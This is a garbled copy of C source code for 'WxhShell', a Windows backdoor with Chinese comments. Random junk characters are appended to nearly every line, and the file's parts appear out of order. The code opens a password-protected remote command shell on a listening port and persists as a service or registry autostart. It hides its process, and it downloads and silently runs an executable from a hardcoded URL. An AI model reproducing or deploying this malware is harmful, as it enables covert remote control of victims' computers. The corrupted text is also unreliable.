DWORD AffinityMask; AKu_~bTk
DWORD BasePriority; o{-<L
ULONG UniqueProcessId; 'b"TH^\
ULONG InheritedFromUniqueProcessId; 7 boJ*
} PROCESS_BASIC_INFORMATION; _2vd`k
AN9[G
PROCNTQSIP NtQueryInformationProcess; }lZ>
>adV(V<
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <Mf*l)%*
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s.jO<{
DHfB@/q#
HANDLE hProcess; YTyX`Y#
PROCESS_BASIC_INFORMATION pbi; ?q91:H
1x >iz
`A
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _`a&9i
&
if(NULL == hInst ) return 0; eK`PxoTI-I
$R^lo$(
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S-Ai3)t6
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Lu>H`B7Q"
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rj H`
hRTMFgO
if (!NtQueryInformationProcess) return 0; b7h+?!H]R
);}t&}
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .]76!(fWZ
if(!hProcess) return 0; S_8r\B[>P
z \?UGxu}
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W8aU"_
QD<eQsvV
CloseHandle(hProcess); YL^Z4: p
d\]O'U)s
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m4/}Jx[
if(hProcess==NULL) return 0; Q~
0Dfow?
Q_}/ Pn$1
HMODULE hMod; D[>W{g
$
char procName[255]; A0#Y, 1
unsigned long cbNeeded; 7U:=~7GH
e.X@] PQJQ
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |Cf
mcz(56
C{Blqf3V0
CloseHandle(hProcess); G :4;y7
^Rmoz1d
if(strstr(procName,"services")) return 1; // 以服务启动 `fW{yb
x N`T
return 0; // 注册表启动 &`@M8-m#F
} GNghB(
3Xdn62[&
// 主模块 F 1}
int StartWxhshell(LPSTR lpCmdLine) oCJbkt=
{ EUwQIA2c8N
SOCKET wsl; F!~l
MpuE
BOOL val=TRUE; R`Qpd3
int port=0; R{<Y4C2~
struct sockaddr_in door; ~t9Mh^gij
z~.9@[LG]
if(wscfg.ws_autoins) Install(); qeMv
Vf
T}2:.Hk:N
port=atoi(lpCmdLine); uL>:tb
_$(GRNRYK
if(port<=0) port=wscfg.ws_port; 8vJdf9pB*
(9z|a,
WSADATA data; l;5`0N?QO
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g8Aj `O
n2E4!L|q
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 0pNo`Bm
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5&qY3@I7l
door.sin_family = AF_INET; tw86:kYEz
door.sin_addr.s_addr = inet_addr("127.0.0.1"); {_as!5l
door.sin_port = htons(port); Ws>i)6[
Bbs5f@E
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xA9V$# d|
closesocket(wsl); @Mr}6x*
return 1; 0s!N@ ,T
} Jy`G]]?
uWrFunh%
if(listen(wsl,2) == INVALID_SOCKET) { J=P;W2L
closesocket(wsl); +3HPA#A
return 1; pVz pN8!
} +_-Y`O!Q
Wxhshell(wsl); 6puVw-X
WSACleanup(); \6 LcV ik
S[.5n]
return 0; %/md"S
44<v9uSK
} X}?ESjZJ
neIy~H_#!
// 以NT服务方式启动 dh?S[|='
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8L{$v~ +
{ X{s/``n
DWORD status = 0; H-m`Dh5{
DWORD specificError = 0xfffffff; 1>yha
j(K
jDJ.
serviceStatus.dwServiceType = SERVICE_WIN32; v0u\xX[H;
serviceStatus.dwCurrentState = SERVICE_START_PENDING; [[&)cbv
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hOl=W |)v
serviceStatus.dwWin32ExitCode = 0; T7ki/hjRb
serviceStatus.dwServiceSpecificExitCode = 0; bWUS9WT
serviceStatus.dwCheckPoint = 0; fX""xTNPi
serviceStatus.dwWaitHint = 0; &R0OeRToUb
BM.-X7)
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Kj=;>u
if (hServiceStatusHandle==0) return; sD.6"w7}
Q{8qm<0g
status = GetLastError(); "u,sRbL
if (status!=NO_ERROR) <gR`)YF7
{ oq243\?Y
serviceStatus.dwCurrentState = SERVICE_STOPPED; V!H(;Tuuo
serviceStatus.dwCheckPoint = 0; N]V/83_
serviceStatus.dwWaitHint = 0; z,M'Tr.1|
serviceStatus.dwWin32ExitCode = status; v'K
% %z
serviceStatus.dwServiceSpecificExitCode = specificError; tb:
SetServiceStatus(hServiceStatusHandle, &serviceStatus); R[6 r(h
return; ?C
FS}v
} N JXa_&_
Wf_CR(
serviceStatus.dwCurrentState = SERVICE_RUNNING; { _-wG3f|
serviceStatus.dwCheckPoint = 0; Euqjxz
serviceStatus.dwWaitHint = 0; 8IpxOA#jQ
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zLo;.X[Y
} HUK"OH
R9bhC9NP
// 处理NT服务事件,比如:启动、停止 <( cM*kV
VOID WINAPI NTServiceHandler(DWORD fdwControl) uSH>$;a
{ K*0aXr?
switch(fdwControl) U2VV[e)Z!
{ S_ZLTcq<1
case SERVICE_CONTROL_STOP: _w\Y{(k
serviceStatus.dwWin32ExitCode = 0; r(pwOOx
serviceStatus.dwCurrentState = SERVICE_STOPPED; #aj|vox}
serviceStatus.dwCheckPoint = 0; &3jBE--
serviceStatus.dwWaitHint = 0; p1Y+
{ te4F"SEf
SetServiceStatus(hServiceStatusHandle, &serviceStatus); h=!M6yap<
} <>SR 4
return; f<'n5}{RO0
case SERVICE_CONTROL_PAUSE: <'yf|N!9G
serviceStatus.dwCurrentState = SERVICE_PAUSED; f2`P8$U)R
break; Gv!BB=ir(
case SERVICE_CONTROL_CONTINUE: :U!'U;uQ
serviceStatus.dwCurrentState = SERVICE_RUNNING; Y]hV-_2+Do
break; ROP C |
case SERVICE_CONTROL_INTERROGATE: jB5>y&+
break; iTj"lA
}; X\o/i\ C}
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @47[vhE
} VfQMFb',o
x%_qJ]o
// 标准应用程序主函数 eo>/
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^fFtI?.6jI
{ cWgbd^J
_!CK
// 获取操作系统版本 $&ex\_W
OsIsNt=GetOsVer(); Pz5ebhgq
GetModuleFileName(NULL,ExeFile,MAX_PATH); R;0W+!fE
ox!|)^`$_
// 从命令行安装 9`)w@-~~
if(strpbrk(lpCmdLine,"iI")) Install();
_8,vk-,'
om XBnzT
// 下载执行文件 5%2ef{T[
if(wscfg.ws_downexe) { 83{x"G3>
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 73'U#@g6
WinExec(wscfg.ws_filenam,SW_HIDE); #]5&mKi
} 7JxE|G
_#/!s]$d#
if(!OsIsNt) { y_}K?
// 如果时win9x,隐藏进程并且设置为注册表启动 l9M#]*{
HideProc(); z*Myokhf
StartWxhshell(lpCmdLine); /Ki0+(4
} ^U-vD[O8
else @4G.(zW
if(StartFromService()) I>A^5nk
// 以服务方式启动 =fKhXd
StartServiceCtrlDispatcher(DispatchTable); R=][>\7]}
else nu\
// 普通方式启动 Zp/qs
z(]
StartWxhshell(lpCmdLine); XV74Fl
wQF&GGYR
return 0; I}*]m%'-Y
} I><99cwFI
]%NO"HzF~
w,M1`RsK
IgzCh
=========================================== *Gk<"pEeS
_9}x2uO~
7i-W*Mb:
ir?Uw:/f
"-0pz\a
yDCooX0
" ]ro1{wm!WU
[oQ`HX1g
#include <stdio.h> SX_kr^#
#include <string.h> oiTMP`Y
#include <windows.h> 2.HZ+1
#include <winsock2.h> WU+Jo@]y
#include <winsvc.h> NDs]}5#
#include <urlmon.h> Z4wrXss~
ZaukMEq
#pragma comment (lib, "Ws2_32.lib") 42n@:5`{+
#pragma comment (lib, "urlmon.lib") &J5-'{U|0
!Zk%P
#define MAX_USER 100 // 最大客户端连接数 4%',scn
#define BUF_SOCK 200 // sock buffer Xa? 6#
#define KEY_BUFF 255 // 输入 buffer =`7#^7Q9
C*W.9
#define REBOOT 0 // 重启 `&|l;zsS
#define SHUTDOWN 1 // 关机 =0@d|LeZ
Hnd9T(UB
#define DEF_PORT 5000 // 监听端口 ?c=R"Yg$
w]o:c(x@
#define REG_LEN 16 // 注册表键长度 /JK-}E
#define SVC_LEN 80 // NT服务名长度 Ru
vG1"
6KIjq[T^
// 从dll定义API Up/eV}C
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v2Qc}o
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ReHd~G9
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S,wj[;cv4
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); aowPji$H
y:hCBgc;`c
// wxhshell配置信息 V:0uy>
struct WSCFG { ig.6[5a\
int ws_port; // 监听端口 Zgy2Pot
char ws_passstr[REG_LEN]; // 口令 *Lb(urf
int ws_autoins; // 安装标记, 1=yes 0=no 5ykk11!p$
char ws_regname[REG_LEN]; // 注册表键名 gT5Ji~xI
char ws_svcname[REG_LEN]; // 服务名 'n>3`1E,
char ws_svcdisp[SVC_LEN]; // 服务显示名 i)ES;b4
char ws_svcdesc[SVC_LEN]; // 服务描述信息 :C|>y4U&(s
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {g!exbVf
int ws_downexe; // 下载执行标记, 1=yes 0=no ! 6p)t[s
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >DL-Q\U
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 jOm&yX
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}; H(%] Os
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// default Wxhshell configuration 02# b:
struct WSCFG wscfg={DEF_PORT, giSG 6'WA
"xuhuanlingzhe", G0 nH Z6
1, [!dnm1
"Wxhshell",
'QekQ];
"Wxhshell", Mc$v~|i6
"WxhShell Service", ?{.b9`
"Wrsky Windows CmdShell Service", f@;>M9)<
"Please Input Your Password: ", #*>7X>,J
1, P^_d$
"http://www.wrsky.com/wxhshell.exe", z)<pqN
"Wxhshell.exe" Cs1%g
}; YCB 3
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// 消息定义模块 '+q' H
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [Tb3z:UUvf
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,QHx*~9
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !irX[,e
char *msg_ws_ext="\n\rExit."; 9tc@
char *msg_ws_end="\n\rQuit."; X!MfJ^)q
char *msg_ws_boot="\n\rReboot..."; ^?^|Y?f2P?
char *msg_ws_poff="\n\rShutdown..."; V Q,\O
char *msg_ws_down="\n\rSave to "; k+Ma_H`
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char *msg_ws_err="\n\rErr!"; |E_+*1l q.
char *msg_ws_ok="\n\rOK!"; 1O3<%T#LOZ
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char ExeFile[MAX_PATH]; AZ]SRz9mKY
int nUser = 0; gH{\y5%rO
HANDLE handles[MAX_USER]; /=U v
int OsIsNt; c;~Llj
P
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SERVICE_STATUS serviceStatus; 0.Ol@fO
SERVICE_STATUS_HANDLE hServiceStatusHandle; seD+~Y\z
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// 函数声明 Ff#N|L'9_
int Install(void); 5W]N]^v
int Uninstall(void); S5pP"&